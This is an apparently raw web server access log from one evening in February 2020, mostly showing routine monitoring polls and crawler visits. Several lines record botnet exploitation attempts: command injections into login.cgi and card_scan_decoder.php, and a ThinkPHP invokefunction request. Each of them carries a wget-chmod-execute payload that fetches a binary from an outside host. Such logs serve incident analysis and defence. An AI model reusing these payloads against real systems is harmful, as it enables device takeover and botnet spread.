212.91.246.72 - - [27/Feb/2020:16:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [27/Feb/2020:16:14:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:16:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.74.157.131 - - [27/Feb/2020:16:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:16:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.82 - - [27/Feb/2020:16:24:04 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.86 - - [27/Feb/2020:16:24:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:16:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.95.173.58 - - [27/Feb/2020:16:25:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:16:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.86.26.9 - - [27/Feb/2020:16:44:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:16:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.58.61.49 - - [27/Feb/2020:16:51:35 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [27/Feb/2020:16:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [27/Feb/2020:17:04:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [27/Feb/2020:17:04:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:17:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [27/Feb/2020:17:04:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [27/Feb/2020:17:04:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [27/Feb/2020:17:05:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:17:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.79.82.49 - - [27/Feb/2020:17:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:17:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.6.210.116 - - [27/Feb/2020:17:08:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:17:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.220.224.202 - - [27/Feb/2020:17:13:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:17:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
99.96.30.196 - - [27/Feb/2020:17:15:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:17:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.6.136.108 - - [27/Feb/2020:17:37:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:17:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.234.116.182 - - [27/Feb/2020:17:40:52 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:17:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.117.118.138 - - [27/Feb/2020:17:42:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.117.118.138 - - [27/Feb/2020:17:43:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:17:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.117.118.138 - - [27/Feb/2020:17:43:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:17:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:17:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [27/Feb/2020:17:57:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [27/Feb/2020:17:57:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [27/Feb/2020:17:57:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [27/Feb/2020:17:57:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:17:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [27/Feb/2020:17:57:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:17:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [27/Feb/2020:17:58:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.156.222.18 - - [27/Feb/2020:17:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
189.156.222.18 - - [27/Feb/2020:17:59:26 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [27/Feb/2020:17:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.156.222.18 - - [27/Feb/2020:17:59:27 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [27/Feb/2020:18:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.94.57.59 - - [27/Feb/2020:18:05:42 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
35.228.55.65 - - [27/Feb/2020:18:06:00 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
